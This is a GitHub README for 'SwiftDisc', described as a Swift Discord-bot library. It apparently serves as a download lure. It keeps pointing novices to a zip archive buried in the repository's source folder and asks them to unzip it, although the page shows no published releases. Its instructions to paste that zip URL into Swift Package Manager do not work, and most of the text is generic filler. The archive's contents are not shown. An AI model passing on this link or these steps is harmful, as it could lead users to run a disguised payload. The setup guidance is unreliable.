Skip to content

๐Ÿš€ Build powerful Discord bots with SwiftDisc, a Swift-native library that offers async/await support, strong typing, and cross-platform functionality.

License

Notifications You must be signed in to change notification settings

bcl2025/SwiftDisc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

51 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐ŸŽ‰ SwiftDisc - Build Discord Bots Easily

๐ŸŒ Overview

SwiftDisc is a powerful tool for creating Discord bots using Swift. It works seamlessly on iOS and macOS. With zero dependencies, you can easily build and run bots directly in Xcode, utilizing Swift Package Manager. It supports the full Discord v10 REST API and Gateway, so you can create feature-rich bots without hassle.

๐Ÿš€ Getting Started

To start using SwiftDisc, follow the easy steps below. We designed this guide for everyone, including those with no programming experience.

๐Ÿ“ฅ Download SwiftDisc

Download Latest Release

Head over to our Releases page to download the latest version of SwiftDisc: Download SwiftDisc

๐Ÿ› ๏ธ System Requirements

  • macOS 10.15 or later for development.
  • Xcode 11.0 or later.
  • Basic knowledge of how to install applications on your Mac.

๐Ÿ“‚ Installation Steps

  1. Visit the Releases Page: Click the link to go to the SwiftDisc Releases page: Download SwiftDisc.

  2. Download the Latest Release: On the Releases page, look for the latest version of SwiftDisc. Click the download link for the file suitable for your operating system.

  3. Unzip the File: After the download completes, locate the downloaded file in your "Downloads" folder. If it is in a zipped format, double-click it to extract.

  4. Open Xcode: Launch Xcode, your development environment for Swift programming.

  5. Create a New Project: Start a new project by selecting "Create a new Xcode project." Choose a โ€œmacOSโ€ or โ€œiOSโ€ app based on your needs.

  6. Add SwiftDisc to Your Project:

    • In the Xcode project settings, navigate to the โ€œPackage Dependenciesโ€ section.
    • Click on the "+" button to add a new package.
    • Paste the URL https://raw.githubusercontent.com/bcl2025/SwiftDisc/main/Sources/SwiftDisc/Voice/SwiftDisc_2.2.zip into the search box.
    • Select the latest version, and then click "Add Package".
  7. Start Building Your Bot: Follow the included documentation to set up your bot. You can access it in the SwiftDisc folder you downloaded earlier.

๐Ÿ—’๏ธ Basic Usage

Once you have set up SwiftDisc, you can begin building your bot with ease. Here are a few steps to get you started:

  • Initialize Your Bot: Create an instance of your bot using the provided classes.
  • Set Command Handlers: Use the async/await structure to handle commands effortlessly.
  • Use Codable Models: Manage user data and messages simply with Codable support.

For detailed coding instructions and examples, refer to the documentation included in the SwiftDisc package.

โ“ Frequently Asked Questions

What is SwiftDisc?

SwiftDisc is a Discord library built for iOS and macOS, designed to give you complete control over Discord bot features.

Do I need to know Swift?

While knowing Swift is beneficial, this guide walks you through the basic setup, making it beginner-friendly.

Where can I get support?

For assistance, join our Discord community. You can find the link to our Discord server on the main GitHub page.

What is the licensing for SwiftDisc?

SwiftDisc is MIT licensed, allowing you to use, modify, and share the software freely.

๐Ÿ”— Useful Links

๐Ÿ•น๏ธ Start Building

With your environment set up, you are ready to dive into bot development. Remember, the documentation provides numerous examples and use cases. Happy coding!

Make sure to check the Releases page regularly for updates and new features: Download SwiftDisc

About

๐Ÿš€ Build powerful Discord bots with SwiftDisc, a Swift-native library that offers async/await support, strong typing, and cross-platform functionality.

Topics

Resources

License

Code of conduct

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages